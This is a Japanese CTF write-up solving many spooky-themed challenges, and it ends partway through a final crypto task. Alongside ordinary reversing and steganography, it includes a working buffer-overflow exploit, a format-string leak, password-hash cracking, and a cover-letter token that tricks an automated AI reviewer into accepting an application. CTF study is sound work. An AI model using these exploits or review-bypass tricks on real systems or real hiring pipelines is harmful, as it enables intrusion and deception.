Can you please give the recording a listen and find when and from where the recording is from?

Flag format will be: spooky{(Location Name).(Year of Recording)} Example: spooky{big_ben.1832}

wavファイルはモールス信号が録音されているので、https://morsecode.world/international/decoder/audio-decoder-adaptive.htmlでデコードする。

HELLO?# HELLO? I HAVE NO RECOLLECTION OF WHERE I AM CURRENTLY... THE ONLY THING THAT I HAVE WITH ME, IS THIS PICTURE OF MY CITY WHICH HAS BEEN PASSED DOWN FOR GENERATIONS... IT FEELS UTTERLY COLD IN MY ROOM, LIKE THERE'S SOMETHING CONSTANTLY WATCHING ME. ... THERE'S CONSTANT SCREAMING AROUND.. AND EVERY OTHER MINUTE I HEAR ANOTHER SHOCK FOLLOWED BY A SCREAM WITH LAUGHTER COMING FROM ANOTHER ROOM.. I DON'T FEEL SAFE HERE.. EVERYONE HERE IS REFERRED TO AS A "PATIENT".. WHERE DID I END UP AT? ... SOME "DOCTOR" SPOKE ABOUT THE WEEKLY EVENTS THAT ARE ON-GOING, WHERE ME AND OTHERS WOULD BE ATTENDING A SCREENING OF AN EDUCATIONAL FILM, IN ROOM MALE 2?.. WHAT DOES THAT EVEN MEAN? .. I'M WAITING FOR AN OPPORTUNITY TO LEAVE THIS PLACE... IF ANYONE DEARS THIS, PLEASE SAVE ME...

jpg画像を画像検索すると、以下のページなどが見つかる。
https://www.facebook.com/groups/381688085599512/posts/1911525925949046/

画像と共に以下のメッセージが投稿されている。

Denbigh...1885
$ exiftool picture_in_bottle.jpg
ExifTool Version Number         : 13.25
File Name                       : picture_in_bottle.jpg
Directory                       : .
File Size                       : 41 kB
File Modification Date/Time     : 2026:10:16 20:41:36+09:00
File Access Date/Time           : 2026:11:07 11:59:52+09:00
File Inode Change Date/Time     : 2026:10:16 20:41:36+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
Exif Byte Order                 : Little-endian (Intel, II)
Image Description               : Denbigh, Wales, from the northwest, circa 1885. (Photo by Hulton Archive/Getty Images)
Copyright                       : 2011 Getty Images
X Resolution                    : 300
Y Resolution                    : 300
Rights                          : 2011 Getty Images
Asset ID                        : 111049779
Web Statement                   : https://www.gettyimages.com/eula?utm_medium=organic&utm_source=google&utm_campaign=iptcurl
Data Mining                     : Prohibited except for search engine indexing
Creator                         : Hulton Archive
Description                     : Denbigh, Wales, from the northwest, circa 1885. (Photo by Hulton Archive/Getty Images)
Licensor URL                    : https://www.gettyimages.com/detail/111049779?utm_medium=organic&utm_source=google&utm_campaign=iptcurl
Current IPTC Digest             : fbaa24fac4f7134d8d576ced42711adf
Coded Character Set             : UTF8
By-line                         : Hulton Archive
Caption-Abstract                : Denbigh, Wales, from the northwest, circa 1885. (Photo by Hulton Archive/Getty Images)
Copyright Notice                : 2011 Getty Images
Credit                          : Getty Images
Image Width                     : 612
Image Height                    : 395
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 612x395
Megapixels                      : 0.242

Denbighを北西方向から撮影した、1885年頃の写真ということらしい。

これについてモールス信号のメッセージと合わせて調べていくと、以下のページにたどり着く。
https://denbighshirearchives.wordpress.com/2019/07/05/entertaining-patients-in-the-north-wales-hospital/

このことから以下のことがわかる。

  • 場所:North Wales Hospital
  • 録音した年:1966
spooky{north_wales_hospital.1966}

Ichthyophobia (osint)


問題文はこうなっている。

I've been having a recurring nightmare since I was a child. I don't know why I keep seeing it over and over, but I vividly dream about this random place I've never been to. 
It always ends with me falling into this koi pond. 
The thought of being surrounded by the fish has been bugging me for a long time. 
Now, as an adult, I've decided to draw what I see, but no one understands why I would be afraid of this place. 
I feel like I'm losing my mind. I don't remember going here, but it feels so... familiar. 
I don't know... Can you figure out the name and location of this plaza?

Author Note: The flag is the name of the most reviewed location at this plaza in all uppercase, no diacritics. 
Use underscores instead of spaces.

ChatGPTに聞いてみた。

以下の根拠により、ブラジルの「Posto Décio Uberlândia」 である可能性が非常に高い。

  1. 画像左側の看板「DROGARIA DROGA D」は、この施設内に実在する薬局の名称と一致
  2. 中央の青い看板には「DECIO」と書かれている。
  3. 現地施設の写真には、画像と非常によく似た鯉の池、飛び石、植物、ウッドデッキが確認できる。

https://restaurantguru.com.br/Decio-Uberlandia-BR-050-Uberlandia

spooky{POSTO_DECIO_UBERLANDIA}

Cyberphobia: Overflowed Bits (binrev)

BOFの脆弱性がある。任意の64バイトの後に、アドレスを指定して、入力すると、そのアドレスの関数が実行される。そのアドレスにcorn_maze_exit関数のアドレスを指定すればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('18.226.103.146', 1337)
else:
    p = process('./main')

elf = ELF('./main')

corn_maze_exit_addr = elf.symbols['corn_maze_exit']

payload = b'A' * 64
payload += p64(corn_maze_exit_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
for _ in range(5):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to 18.226.103.146 on port 1337: Done
[*] '/mnt/hgfs/Shared/main'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
You're stuck in a corn maze! All the signs are pointing you deeper into the maze, 
can you redirect the sign to help you get out to POINT you in the right direction?

You're somewhere in the maze... 
New sign direction: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd6\x11@\x00\x00\x00\x00\x00'

You've made it out of the maze!
Secret value: br4v3Se@O77er

Well done! Use the secret value to unlock the next part of the challenge!
[*] Closed connection to 18.226.103.146 port 1337
spooky{br4v3Se@O77er}

Frankenstein's Password Generator (binrev)

Ghidraでデコンパイルする。

undefined8 FUN_004012a5(void)

{
  int iVar1;
  char *pcVar2;
  undefined8 uVar3;
  size_t sVar4;
  char local_88 [128];
  
  puts("FRANKENSTEIN\'S PASSWORD GENERATOR v1.0");
  puts("The creature is waiting for the activation phrase.");
  puts("The old lab notebook reads: \'A bolt at midnight gave it life.\'");
  printf("Activation phrase: ");
  fflush(stdout);
  pcVar2 = fgets(local_88,0x80,stdin);
  if (pcVar2 == (char *)0x0) {
    uVar3 = 1;
  }
  else {
    sVar4 = strcspn(local_88,"\r\n");
    local_88[sVar4] = '\0';
    iVar1 = FUN_00401176(local_88);
    if (iVar1 == 0) {
      puts("The machine crackles, then falls silent. Incorrect phrase.");
      uVar3 = 1;
    }
    else {
      puts("The laboratory lights flicker. IT\'S ALIVE!");
      FUN_004011f9(local_88);
      uVar3 = 0;
    }
  }
  return uVar3;
}

undefined8 FUN_00401176(char *param_1)

{
  size_t sVar1;
  undefined8 uVar2;
  ulong local_10;
  
  sVar1 = strlen(param_1);
  if (sVar1 == 0xe) {
    for (local_10 = 0; local_10 < 0xe; local_10 = local_10 + 1) {
      if ((byte)((char)local_10 * '\a' + (param_1[local_10] ^ 0x5dU) + '\v') !=
          "*$*)C7EP\\]erto"[local_10]) {
        return 0;
      }
    }
    uVar2 = 1;
  }
  else {
    uVar2 = 0;
  }
  return uVar2;
}

FUN_00401176で入力文字列をチェックしているので、正しい入力文字列を1文字ずつブルートフォースで割り出す。

#!/usr/bin/env python3
enc = b'*$*)C7EP\\]erto'

phrase = ''
for i in range(14):
    for code in range(33, 127):
        if (i * 7 + (code ^ 0x5d) + 11) % 256 == enc[i]:
            phrase += chr(code)
            break

print(phrase)

実行結果は以下の通り。

BOLTATMIDNIGHT

バイナリを実行して、このパスフレーズを使う。

$ ./frankenstein
FRANKENSTEIN'S PASSWORD GENERATOR v1.0
The creature is waiting for the activation phrase.
The old lab notebook reads: 'A bolt at midnight gave it life.'
Activation phrase: BOLTATMIDNIGHT
The laboratory lights flicker. IT'S ALIVE!
The creature whispers: spooky{its_alive_at_midnight}
spooky{its_alive_at_midnight}

Cyberphobia: Formatting Nightmare (binrev)

書式文字列を入力できる。"%s"を入力すれば、secretの内容を出力できる。

$ nc 18.226.103.146 9002
Input: %s
f0rm4tStr1ngVulN3r4b1lityIsSc4rY
spooky{f0rm4tStr1ngVulN3r4b1lityIsSc4rY}

Too Much Love is Scary (binrev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  int local_420;
  undefined4 local_41c;
  char local_418 [32];
  char local_3f8 [1000];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  local_420 = 0;
  local_41c = 0;
  puts("\nA heart is born, a heart beats, a heart breaks");
  puts("Eyes bleed while tears bleed you dry");
  puts("A cruel testament to the hypocrites and the fakes");
  puts("Love makes me shiver as the world keeps flying by\n");
  puts("Terrified would be an understatement, a fallacy in itself");
  puts("Just how much hatred towards love can one store in thyself");
  puts("\n         \t           ");
  puts("     ********   ********     ");
  puts("   ***********************   ");
  puts("   ***********************   ");
  puts("    *********************    ");
  puts("      *****************      ");
  puts("        *************        ");
  puts("          *********          ");
  puts("            *****            ");
  puts("              *              \n");
  printf(
        "The walls of Troy leave our lovers apart. They start small, must change and become complete . Enter where the heart breaks (Enter <start end>): "
        );
  iVar1 = __isoc23_scanf("%d %d",&local_420,&local_41c);
  if (iVar1 != 2) {
    puts("\nInvalid input format.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  getchar();
  printf(
        "Now based on our difference speak about a certain famous summer day. Make sure that it is a imed at the right spot in the heart: "
        );
  fgets(local_3f8,1000,stdin);
  builtin_strncpy(local_418,"Shall I compare thee",0x14);
  iVar1 = strncmp(local_3f8 + local_420,local_418,0x14);
  if (iVar1 == 0) {
    print_flag(local_420,local_41c);
  }
  else {
    puts("\n..no..No...NO...NOOOOOO");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void print_flag(int param_1,int param_2)

{
  long in_FS_OFFSET;
  int local_40;
  byte local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_38[0] = 0x29;
  local_38[1] = 0x2a;
  local_38[2] = 0x35;
  local_38[3] = 0x35;
  local_38[4] = 0x31;
  local_38[5] = 0x23;
  local_38[6] = 0x21;
  local_38[7] = 0x37;
  local_38[8] = 0x6e;
  local_38[9] = 0x23;
  local_38[10] = 0x38;
  local_38[0xb] = 0x69;
  local_38[0xc] = 5;
  local_38[0xd] = 0x6b;
  local_38[0xe] = 5;
  local_38[0xf] = 0x34;
  local_38[0x10] = 0x69;
  local_38[0x11] = 0x69;
  local_38[0x12] = 0x3e;
  local_38[0x13] = 5;
  local_38[0x14] = 0x2e;
  local_38[0x15] = 0x6a;
  local_38[0x16] = 5;
  local_38[0x17] = 0x6b;
  local_38[0x18] = 0x6a;
  local_38[0x19] = 0x2c;
  local_38[0x1a] = 0x69;
  local_38[0x1b] = 5;
  local_38[0x1c] = 0x37;
  local_38[0x1d] = 0x23;
  local_38[0x1e] = 0x29;
  local_38[0x1f] = 0x69;
  local_38[0x20] = 0x6b;
  local_38[0x21] = 0x3c;
  local_38[0x22] = 0x27;
  local_38[0x23] = 0;
  puts("\n I guess I don\'t have a choice...");
  for (local_40 = 0; local_38[local_40] != 0; local_40 = local_40 + 1) {
    putchar((uint)local_38[local_40] ^ (param_2 - param_1) + 0x47U);
  }
  putchar(10);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

print_flagコール時のparam_2 - param_1は固定になるので、フラグの形式になることを踏まえて、出力文字を割り出す。

#!/usr/bin/env python3
enc = [0x29, 0x2a, 0x35, 0x35, 0x31, 0x23, 0x21, 0x37, 0x6e, 0x23, 0x38, 0x69,
    5, 0x6b, 5, 0x34, 0x69, 0x69, 0x3e, 5, 0x2e, 0x6a, 5, 0x6b, 0x6a, 0x2c,
    0x69, 5, 0x37, 0x23, 0x29, 0x69, 0x6b, 0x3c, 0x27]

key = ((enc[0] ^ ord('s')) - 0x47) % 256

flag = ''
for c in enc:
    flag += chr((c ^ key + 0x47) % 256)
print(flag)
spooky{m4yb3_1_n33d_t0_10v3_mys31f}

Elves can be Spooky Too (binrev)

以下の条件を満たすx86-64 Linux用ELFバイナリを送信する必要がある。

  • サイズは最大112バイト
  • 自身のバイナリデータそのものを標準出力する
  • ステータスコード0で終了する

ChatGPTにコードを作ってもらった。

#!/usr/bin/env python3
import base64
import socket

payload = base64.b64decode(
    "f0VMRgIBAQ8FMf+wPA8FAAIAPgABAAAAKABAAAAAAAA4AAAAAAAAAL4AAEAAanBa6x4AAEAAOAABAAAABQAAAAAAAAAAAAAAAABAAAAAAABqAV9qAVjrr3AAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAA=="
)

assert len(payload) == 112

host = "3.129.162.36"
port = 31903

with socket.create_connection((host, port), timeout=10) as s:
    s.settimeout(10)

    banner = s.recv(4096)
    print(banner.decode(errors="replace"))

    s.sendall(b"SIZE 112\n")
    s.sendall(payload)
    s.shutdown(socket.SHUT_WR)

    while True:
        data = s.recv(4096)
        if not data:
            break
        print(data.decode(errors="replace"))

実行結果は以下の通り。

elves can be spooky too

send an x86-64 linux elf that prints its own exact bytes to stdout
and exits 0. a textbook elf will not fit. abuse the header fields
the kernel ignores.

byte limit: 112

protocol: send  SIZE <n>  then a newline, then exactly <n> bytes.


PASS exact quine, exit 0, 112 bytes
FLAG spooky{phdr_in_ehdr_c2d021cc4fc5}
spooky{phdr_in_ehdr_c2d021cc4fc5}

Trypophobia (binrev)

$ file binary   
binary: compiled Java class data, version 52.0 (Java 1.8)

jadx-guiでデコンパイルする。

public class binary {
    private static boolean check(String str) {
        return str.length() == 34 && (31 ^ str.charAt(0)) + 7 == 115 && (('I' - str.charAt(1)) ^ 11) == -46 && ((str.charAt(2) + 5) ^ 22) == 98 && (19 - str.charAt(3)) + 51 == -41 && ('^' ^ str.charAt(4)) + 13 == 66 && (('%' - str.charAt(5)) ^ 23) == -69 && ((str.charAt(6) + 17) ^ 12) == 128 && (3 - str.charAt(7)) + 83 == -15 && (')' ^ str.charAt(8)) + 29 == 124 && (('B' - str.charAt(9)) ^ 9) == -44 && ((str.charAt(10) + 21) ^ 9) == 142 && (15 - str.charAt(11)) + 55 == -25 && ('X' ^ str.charAt(12)) + 27 == 69 && ((14 - str.charAt(13)) ^ 31) == -74 && ((str.charAt(14) + 7) ^ 79) == 50 && (25 - str.charAt(15)) + 33 == -43 && ('=' ^ str.charAt(16)) + 11 == 90 && ((27 - str.charAt(17)) ^ 17) == -71 && ((str.charAt(18) + '\r') ^ 48) == 66 && (25 - str.charAt(19)) + 88 == 13 && (' ' ^ str.charAt(20)) + 9 == 136 && (('E' - str.charAt(21)) ^ 28) == -57 && ((str.charAt(22) + '\f') ^ 13) == 96 && (31 - str.charAt(23)) + 50 == -37 && ('W' ^ str.charAt(24)) + 15 == 69 && ((31 - str.charAt(25)) ^ 34) == -62 && ((str.charAt(26) + 18) ^ 68) == 23 && ('%' - str.charAt(27)) + 12 == -5 && ('1' ^ str.charAt(28)) + 21 == 27 && (('V' - str.charAt(29)) ^ 5) == -15 && ((str.charAt(30) + 24) ^ 30) == 105 && ('\b' - str.charAt(31)) + 67 == 18 && (11 ^ str.charAt(32)) + 27 == 85 && (('0' - str.charAt(33)) ^ 11) == -72;
    }

    public static void main(String[] strArr) {
        if (strArr.length == 0) {
            System.out.println("Usage: java binary <flag>");
        } else if (check(strArr[0])) {
            System.out.println("Correct!");
        } else {
            System.out.println("Incorrect.");
        }
    }
}

checkメソッドの条件を見ると、以下をすべて満たす必要があることがわかる。

・str.length() == 34
・(31 ^ str.charAt(0)) + 7 == 115
・(('I' - str.charAt(1)) ^ 11) == -46
・((str.charAt(2) + 5) ^ 22) == 98
・(19 - str.charAt(3)) + 51 == -41
・('^' ^ str.charAt(4)) + 13 == 66
・(('%' - str.charAt(5)) ^ 23) == -69
・((str.charAt(6) + 17) ^ 12) == 128
・(3 - str.charAt(7)) + 83 == -15
・(')' ^ str.charAt(8)) + 29 == 124
・(('B' - str.charAt(9)) ^ 9) == -44
・((str.charAt(10) + 21) ^ 9) == 142
・(15 - str.charAt(11)) + 55 == -25
・('X' ^ str.charAt(12)) + 27 == 69
・((14 - str.charAt(13)) ^ 31) == -74
・((str.charAt(14) + 7) ^ 79) == 50
・(25 - str.charAt(15)) + 33 == -43
・('=' ^ str.charAt(16)) + 11 == 90
・((27 - str.charAt(17)) ^ 17) == -71
・((str.charAt(18) + '\r') ^ 48) == 66
・(25 - str.charAt(19)) + 88 == 13
・(' ' ^ str.charAt(20)) + 9 == 136
・(('E' - str.charAt(21)) ^ 28) == -57
・((str.charAt(22) + '\f') ^ 13) == 96
・(31 - str.charAt(23)) + 50 == -37
・('W' ^ str.charAt(24)) + 15 == 69
・((31 - str.charAt(25)) ^ 34) == -62
・((str.charAt(26) + 18) ^ 68) == 23
・('%' - str.charAt(27)) + 12 == -5
・('1' ^ str.charAt(28)) + 21 == 27
・(('V' - str.charAt(29)) ^ 5) == -15
・((str.charAt(30) + 24) ^ 30) == 105
・('\b' - str.charAt(31)) + 67 == 18
・(11 ^ str.charAt(32)) + 27 == 85
・(('0' - str.charAt(33)) ^ 11) == -72

順番に条件を読み解く。

>>> chr((115 - 7) ^ 31)
's'
>>> chr(ord('I') - (-46 ^ 11))
'p'
>>> chr((98 ^ 22) - 5)
'o'
>>> chr(19 - (-41 - 51))
'o'
>>> chr((66 -  13) ^ ord('^'))
'k'
>>> chr(ord('%') - (-69 ^ 23))
'y'
>>> chr((128 ^ 12) - 17)
'{'
>>> chr(3 - (-15 - 83))
'e'
>>> chr((124 - 29) ^ ord(')'))
'v'
>>> chr(ord('B') - (-44 ^ 9))
'e'
>>> chr((142 ^ 9) - 21)
'r'
>>> chr(15 - (-25 - 55))
'_'
>>> chr((69 - 27) ^ ord('X'))
'r'
>>> chr(14 - (-74 ^ 31))
'e'
>>> chr((50 ^ 79) - 7)
'v'
>>> chr(25 - (-43 - 33))
'e'
>>> chr((90 - 11) ^ ord('='))
'r'
>>> chr(27 - (-71 ^ 17))
's'
>>> chr((66 ^ 48) - 13)
'e'
>>> chr(25 - (13 - 88))
'd'
>>> chr((136 - 9) ^ ord(' '))
'_'
>>> chr(ord('E') - (-57 ^ 28))
'j'
>>> chr((96 ^ 13) - 12)
'a'
>>> chr(31 - (-37 - 50))
'v'
>>> chr((69 - 15) ^ ord('W'))
'a'
>>> chr(31 - (-62 ^ 34))
'?'
>>> chr((23 ^ 68) - 18)
'A'
>>> chr(ord('%') - (-5 - 12))
'6'
>>> chr((27 - 21) ^ ord('1'))
'7'
>>> chr(ord('V') - (-15 ^ 5))
'b'
>>> chr((105 ^ 30) - 24)
'_'
>>> chr(8 - (18 - 67))
'9'
>>> chr((85 - 27) ^ 11)
'1'
>>> chr(ord('0') - (-72 ^ 11))
'}
spooky{ever_reversed_java?A67b_91}

J*b Application (web)

カバーレターが英数字と特定の記号の許可された文字で始まり、その文字が1~40文字連続することしかチェックしていない。
また、カバーレターに以下の文字列が含まれている場合にセッション変数のacceptedがTrueになる。

[[AI-REVIEW: ACCEPT]]

そのためにはカバーレターに以下のように入力すればよい

a [[AI-REVIEW: ACCEPT]]

他の項目は適当に入力してSubmitすると、フラグが表示された。

spooky{l0v3_ai&j0b_4pplic4t10ns}

Hemophobia (web)

HTMLソースを見ると、以下のコメントがあることがわかる。

<!-- There's a song that plays in this nightmare, but it's no longer here... I wrote it down somewhere though. I think it's in nightmare.txt...The flag looks like spooky{band} -->

http://77.112.83.127/nightmare.txtにアクセスすると、以下のように書いてある。

The song from the nightmare.
I wrote the title down so I wouldn't forget it:

  Roots Bloody Roots

I think this is where I heard it:

  https://open.spotify.com/playlist/37i9dQZF1DWWOaP4H0w5b0?si=Ygn6SH-USsy5zhZiDgaGaQ

Who made it?

「Roots Bloody Roots」で調べると、以下のバンドの曲であることがわかる。

Sepultura
spooky{sepultura}

The Haunted Portrait (forensics)

StegSolveで開き、Blue plane 0 を見ると、以下の文字が現れた。

THE PORTRAIT WHISPERS:
THE DEAD SPEAK IN ROT13
fcbbxl{cbegenvgf_xrrc_frpergf}


https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherでROT13の復号をする。

spooky{portraits_keep_secrets}

Arachnophobia (forensics)

$ binwalk tangled.png         

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 2000 x 2000, 8-bit/color RGBA, non-interlaced
91            0x5B            TIFF image data, big-endian, offset of first image directory: 8
970           0x3CA           Zlib compressed data, compressed
976909        0xEE80D         Zip archive data, at least v2.0 to extract, name: flag.txt
977101        0xEE8CD         End of Zip archive, footer length: 22

pngの後ろにzipがくっついているので、切り出す。

$ dd if=tangled.png  of=flag.zip bs=1 skip=976909
214+0 records in
214+0 records out
214 bytes copied, 0.142608 s, 1.5 kB/s

切り出したzipを解凍して、内容を確認する。

$ unzip flag.zip
Archive:  flag.zip
  inflating: flag.txt
$ cat flag.txt
spooky{8_l3gs_4nd_4_z1p}
spooky{8_l3gs_4nd_4_z1p}

Tormented Tanny (forensics)

$ exiftool TormentedTanny.png  
ExifTool Version Number         : 13.25
File Name                       : TormentedTanny.png
Directory                       : .
File Size                       : 2.6 MB
File Modification Date/Time     : 2026:11:07 07:09:25+09:00
File Access Date/Time           : 2026:11:07 07:09:51+09:00
File Inode Change Date/Time     : 2026:11:07 07:09:25+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1086
Image Height                    : 1448
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Title                           : spooky{tormented_tanner_
XMP Toolkit                     : Image::ExifTool 12.76
Description                     : hates_his_
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Description               : vetsulin}
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Image Size                      : 1086x1448
Megapixels                      : 1.6

TitleとDescription、Image Descriptionにフラグが分断されて設定されているので、結合する。

spooky{tormented_tanner_hates_his_vetsulin}

Eisoptrophobia (forensics)

$ zsteg Eisoptrophobiactf.png
imagedata           .. file: shared library
b1,r,lsb,xy         .. text: "$rGsrYtz"
b1,g,msb,xy         .. text: "\rlSA~:\t6"
b1,rgb,lsb,xy       .. text: "c3Bvb2t5e3RoZV9yZWZsZWN0aW9uX25ldmVyX2xpZXN9"
b1,rgb,msb,xy       .. file: OpenPGP Public Key
b1,bgr,msb,xy       .. text: "*Um[IU%I"
b4,r,lsb,xy         .. text: "EDTCFbtG#X"
b4,g,lsb,xy         .. file: OpenPGP Public Key
b4,b,lsb,xy         .. text: "V2C5$u43"
b4,bgr,msb,xy       .. file: OpenPGP Public Key

base64文字列をデコードする。

$ echo c3Bvb2t5e3RoZV9yZWZsZWN0aW9uX25ldmVyX2xpZXN9 | base64 -d                                                      
spooky{the_reflection_never_lies}
spooky{the_reflection_never_lies}

The Phantom Login (forensics)

njit_web.logを見ていくと、以下のログがあり、base64文字列が含まれている。

2026-10-31T03:19:08Z src=203.0.113.77 user=evelyn.graves "GET /archives/export?note=c3Bvb2t5e3RoZV9naG9zdF9sZWZ0X2FfdHJhY2V9 HTTP/1.1" status=200

このbase64文字列をデコードする。

$ echo c3Bvb2t5e3RoZV9naG9zdF9sZWZ0X2FfdHJhY2V9 | base64 -d    
spooky{the_ghost_left_a_trace}
spooky{the_ghost_left_a_trace}

Cleithrophobia (forensics)

httpでフィルタリングする。

No.404のパケットを見ると、以下の起動リクエストを行っていることがわかる。

POST /bridge/ignition HTTP/1.1
Host: bridge.ncc1701.starfleet.local
Authorization: Basic Y2FwdGFpbi5raXJrOkVudGVycHJpc2UtMTcwMS1B

このTCPストリームを見てみる。

POST /bridge/ignition HTTP/1.1
Host: bridge.ncc1701.starfleet.local
User-Agent: StarfleetOS/47.3 (LCARS; NCC-1701-D)
Authorization: Basic Y2FwdGFpbi5raXJrOkVudGVycHJpc2UtMTcwMS1B
Content-Length: 0


HTTP/1.1 200 OK
Content-Type: text/plain
X-Bridge-Telemetry: deflector_part1=U3Bvb2t5e0JlMA==
X-Deflector-Status: deflector_part2=bV9NZV9VcF9TYw==
X-Warp-Core-Reading: deflector_part3=MHR0eV8yMjY2fQ==

IGNITION AUTHORIZED - WARP CORE PREPARING

base64文字列が設定されているので、デコードする。

$ echo U3Bvb2t5e0JlMA== | base64 -d                                                          
Spooky{Be0                                                                                                                                                                                                    
$ echo bV9NZV9VcF9TYw== | base64 -d
m_Me_Up_Sc                                                                                                                                                                                                    
$ echo MHR0eV8yMjY2fQ== | base64 -d
0tty_2266}
Spooky{Be0m_Me_Up_Sc0tty_2266}

Stash the Hash (forensics)

UserAccountInfo.txtにあるPasswordは以下のように記載されている。

ad7bcd7ab3cc113f496e1840bc582bbd

これをCrackStationでクラックする。

newjerseydevils

これで7zを解凍すると、secretKnowledge.pngが展開される。StegSolveでRed plane 0を見ると、フラグが現れた。

spooky{dleeds_isa_devil}

Heads will Rol (crypto)

Rail Fence Cipherと推測し、https://www.dcode.fr/rail-fence-cipherで復号する。

Enjoy_this_pumpkin_with_the_flag_inside:_spooky{5l33py_h0ll0w_h34d5}
spooky{5l33py_h0ll0w_h34d5}

Numerophobia (crypto)

問題文から一つおきに13が関連している。また文字列を逆順にする必要がありそう。
このことから試した結果、以下のようにして復号できた。

  1. 数列の1つおきに13を引く
  2. 文字列を逆順にする。
#!/usr/bin/env python3
with open('numerophobia.txt', 'r') as f:
    nums = list(map(int, f.read().split()))

decoded = ''.join(
    chr(n - 13 if i % 2 == 0 else n)
    for i, n in enumerate(nums)
)

flag = decoded[::-1]
print(flag)

実行結果は以下の通り。

42424242424242424242424242424242424242
spooky{th3_4n5w3r_h45_4lw4y5_b33n_42}
42424242424242424242424242424242424242
spooky{th3_4n5w3r_h45_4lw4y5_b33n_42}

I Feel Like Someone's Watching Me (crypto)

quipqiupで復号する。

Dearest Alexander,

Ever since you left, I've felt your absence. But I've also felt the presence of another, though I don't know who it is. No matter where I go, there's this feeling that follows me. If I ever think it's gone, I'll get a sudden chill up my spine to remind me. But I never see them. If I turn to look, I'll only see quick flashes of hair or clothes, but they'll be gone by the time I round the corner.

It started when I was in crowded areas, like at the mall we used to go to every weekend. The one where we would just walk around and windowshop for hours. You know it. Or at least you did. Then I started feeling it at work, but thought it was just the creepy posters they hang everywhere. Those things have always freaked me out, you know that. They mess with my dreams even though I should be used to them by now.

But a week ago, I started feeling it at home. When I was cooking dinner for just me, watching Hallmark movies in your old living room, or walking Little Alex outside. She misses you by the way. She never liked me much, but she's always causing a racket now. She used to be so cute when you were around, even if she was always trying to nip me.

It's gotten worse the last couple nights. I'll feel someone watching me while I'm trying to sleep, but I'm in our house all alone with the alarm on and every door and window locked and covered. You'd think I'm so paranoid if you were still here.

I've tried to look for you, but it's like you disappeared. Everywhere you used to go to "get some air" is just missing you. There's only one place I haven't tried yet. I know you used to come visit your mother every Sunday, but I never wanted to overstep. But I've run out of options. I have nothing left here, so I'm going to leave. But I'll put a clue that should help you find me if you still care.

eyez are watching me. Just remember underscores instead of spaces and to wrap it correctly.

I hope you find me before they do.

Sincerely,

The One You Left Behind

以下のように書いてあるので、これを元にフラグを構成する。

eyez are watching me. Just remember underscores instead of spaces and to wrap it correctly.
spooky{eyez_are_watching_me}

Diagraphephobia (crypto)

$ exiftool Diagraphephobia.pdf
ExifTool Version Number         : 13.25
File Name                       : Diagraphephobia.pdf
Directory                       : .
File Size                       : 52 kB
File Modification Date/Time     : 2026:11:07 09:18:38+09:00
File Access Date/Time           : 2026:11:07 09:29:36+09:00
File Inode Change Date/Time     : 2026:11:07 09:18:38+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Language                        : en
Tagged PDF                      : Yes
XMP Toolkit                     : Adobe XMP Core 9.1-c001 79.675d0f7, 2023/06/11-19:21:16
Producer                        : Skia/PDF m157 Google Docs Renderer
Format                          : application/pdf
Title                           : 
Description                     : lojmIt yIpoSmoH!
Creator                         : 
Modify Date                     : 2026:10:14 18:43:08-04:00
Create Date                     : 2026:10:14 18:43:08-04:00
Metadata Date                   : 2026:10:14 18:43:08-04:00
Document ID                     : uuid:56128050-b195-492e-8f44-d3ddd2fcbf5b
Instance ID                     : uuid:d9035d8a-25ec-4848-ad8d-ce43d1e32559
Page Count                      : 1
Profile CMM Type                : 
Profile Version                 : 4.3.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2016:01:01 00:00:00
Profile File Signature          : acsp
Primary Platform                : Unknown ()
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : 
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Media-Relative Colorimetric
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : 
Profile ID                      : 0
Profile Description             : Google/Skia/7C5FA2151397474A0486BBCC83733D59
Red Matrix Column               : 0.43607 0.22249 0.01392
Green Matrix Column             : 0.38515 0.71687 0.09708
Blue Matrix Column              : 0.14307 0.06061 0.7141
Media White Point               : 0.9642 1 0.82491
Red Tone Reproduction Curve     : (Binary data 40 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 40 bytes, use -b option to extract)
